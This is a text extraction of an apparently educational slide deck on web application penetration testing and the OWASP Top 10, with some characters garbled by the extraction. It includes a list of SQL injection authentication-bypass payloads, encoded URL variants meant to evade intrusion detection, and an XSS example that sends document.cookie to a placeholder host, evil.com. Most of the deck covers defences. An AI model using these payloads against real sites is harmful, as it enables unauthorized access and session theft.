The document discusses web application security testing. It introduces web application penetration testing and the OWASP Top 10 security vulnerabilities like injection and XSS. It provides examples of SQL injection vulnerabilities and how to exploit URLs. It discusses how to prevent these vulnerabilities through input validation, output encoding and using parameterized queries. It also covers session management vulnerabilities and the importance of authentication and authorization for application resources.
Report
Share
Report
Share
1 of 19
Download to read offline
More Related Content
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
2. • Introduction to web application penetration testing
– How and why?
– Automated tools demo
• Open Web Application Security Project (OWASP)
– Introduction
• Top 10 Security Vulnerabilities
– Injections and cheat codes
• Filter Evasion
https://entersoft.co.in
3. Web is a platform of collaboration, a
place where users can share, can
interact and can build up on the work
of their own as well as that of others’…
Blah Blah Blah Blah Blah……
No, it’s a Dangerous place!
https://entersoft.co.in
5. Injection
Security
Misconfigurat
ion
Broken
Authenticatio
n & Session
Management
Unvalidated
Redirects and
Forwards
Using
Components
with Known
Vulnerabilities
Cross-‐‑Site
Scripting
Missing
Function
Level Access
Control
Unvalidated
Redirects and
Forwards
https://entersoft.co.in
Insecure
Direct Object
References
Cross-‐‑Site
Request
Forgery
6. Used when your app sends user-‐‑supplied data to other apps
Database, Operating System, LDAP, Web Services
Hackers "ʺinject"ʺ their code to run instead of yours
To access unauthorized data, or completely take over
remote application
§ Code expects a nice parameter in the URL
• http://example.com/user/login.php
The above url expects username & Password like
statement = "ʺSELECT * FROM users WHERE name ='ʹ"ʺ +
userName + "ʺ'ʹ;“ +Password+”;”
Hacker could instead supply
Statement = “SELECT * FROM users WHERE name = 'ʹ'ʹ OR 'ʹ1'ʹ='ʹ1'ʹ
-‐‑-‐‑ 'ʹ;”
https://entersoft.co.in
7. Don’t: name your child
SELECT * FROM userinfo WHERE id=Robert;DROP TABLE
users;
Do: expect SQL Injection
https://entersoft.co.in
8. or 1=1
‘or 1=1
“or 1=1
or 1=1–
‘or 1=1–
“or 1=1–
or 1=1#
‘or 1=1#
“or
1=1#
or 1=1/*
‘or 1=1/*
‘or’
‘or
“or 1=1/*
or 1=1;%00
‘or 1=1;%00
“or 1=1;%00
‘or’–
‘or–
or a=a
‘or a=a
“or a=a
or a=a–
‘or a=a –
“or a=a–
or ‘a’=’a’
‘or ‘a’=’a’
“or ‘a’=’a’
‘)or(‘a’=’a’
“)”a”=”a”
‘)’a’=’a
‘or’’=’
You can try all the combinations for string “or a=a” that we have tried
for “or 1=1”….. Lke #,–, /* etc…
https://entersoft.co.in
10. hap://[site]/page.asp?id=2 or 2=2-‐‑-‐‑ (Instead of 1=1 u can use 2=2)
hap://[site]/page.asp?id=2 or 1<2–
hap://[site]/page.asp?id=2 or 1 like 1– (instead of “=“ we use like)
hap://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2-‐‑-‐‑ (comments)
Ids ‘s easily detect -‐‑-‐‑,<,>= so we can encode and try
hap://[site]/page.asp?id=2 or 2%3B2%2D%2D
hap://[site]/page.asp?id=2 or 1%3C2%2D%2D
hap://[site]/page.asp?id=2 or 1 like 1%2D%2D
hap://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D
https://entersoft.co.in
11. • "ʺConnections"ʺ between systems are highly vulnerable
• Always assume data coming in could be "ʺevil"ʺ
• be sure to include "ʺevil"ʺ use cases and user stories in your
design
• Ideally, only allow the user to select among "ʺsafe"ʺ options
• no generic text allowed
• If user-‐‑input text is needed, use parameterized queries
• clean up quotes, parenthesis, and SQL comments
• Use a baale-‐‑tested library for protecting your database
• Java PreparedStatement, OWASP'ʹs ESAPI codecs
https://entersoft.co.in
12. Sites must "ʺcleanse"ʺ user input before displaying it
Hackers can create URLs to inject their own HTML onto the page
can be used to do almost any kind of aaack!!!
Example: JSP to draw HTML based on user input
String html = "ʺ<input name='ʹitem'ʹ type='ʹTEXT'ʹ value='ʹ"ʺ +
request.getParameter("ʺitem"ʺ) + "ʺ'ʹ>"ʺ;
Code expects a nice URL:
hap://example.com/search.php?q=word
But a hacker could supply this:
hap://example.com/search.php?
q='ʹ><script>document.location='ʹ
hap://evil.com/steal/'ʹ+document.cookie</script>
Then, try to trick somebody to go to that URL
Stolen cookies are frequently as good as stole passwords
https://entersoft.co.in
13. Never, ever, ever trust user-‐‑submiaed content!
URLs, comments threads, web forms
Properly "ʺescape"ʺ any data before displaying it on web pages
JavaScript parameters, URL parameters, STYLE elements
Remove script tags, and possibly anything with a SRC
aaribute
Use ESAPI to "ʺcleanse"ʺ your HTML
Do not allow state-‐‑change from HTTP GET requests
Otherwise, an IMG tag could cause you to lose all your data
Set the HapOnly flag in your response headers
Prevents document.cookie from working in JavaScript
https://entersoft.co.in
14. Assume my user id is 238
I see a link on “My Projects” page that goes here:
hap://example.com/users/view.php?userid=238
If I alter the URL, can I see other people’s projects?
hap://example.com/users/view.php?userid=235
Do you only restrict access in the web form?
What if I could "ʺguess"ʺ the URL? Could I see the page?
Don'ʹt trick yourself into thinking complex URLs are any more
secure
Security != Obscurity
https://entersoft.co.in
15. Every resource needs a security level
What roles do you need to access certain items?
Access Control Lists are easy to implement, but don’t always
scale
All access to that resource should go through the same check
What action are you taking, with what resource?
Put it all in one common codebase for simplicity
May need to run check multiple times, for sub-‐‑actions and
sub-‐‑resources
Unusual behavior? Have additional authentication questions/
layers!
Front-‐‑end restriction is nice for usability, but not security
Back-‐‑end application must double-‐‑check access rights
https://entersoft.co.in
16. HTTP is a "ʺstateless"ʺ protocol
Nice and simple: HTTP request, HTTP response
All data must be passed in the request every time
How do we store state?
Client side with cookies
Server side with sessions
Most apps place a "ʺsessionId"ʺ in cookies, or in the URL
Problem: now stealing sessionIds is just as good as stealing
passwords!
Multiple ways to determine a session ID
packet sniffing -‐‑-‐‑ especially on an open WiFi access point or LAN
HapReferrer logs, if sessionId is in the URL
https://entersoft.co.in
17. Assume that a user stole a session ID
Determine how bad this would be in your application
Use SSL everywhere!
Makes it harder for people to “sniff” your session ID
If you cannot use SSL everywhere, use it for logins
Have a cryptographically strong session ID
Good sessionIds should be very difficult to re-‐‑use
Embed user IP address, user name, timestamp, and a secret
Forces an aaacker to spoof IP addresses to take over
Prompt for re-‐‑login if IP changes during a session
https://entersoft.co.in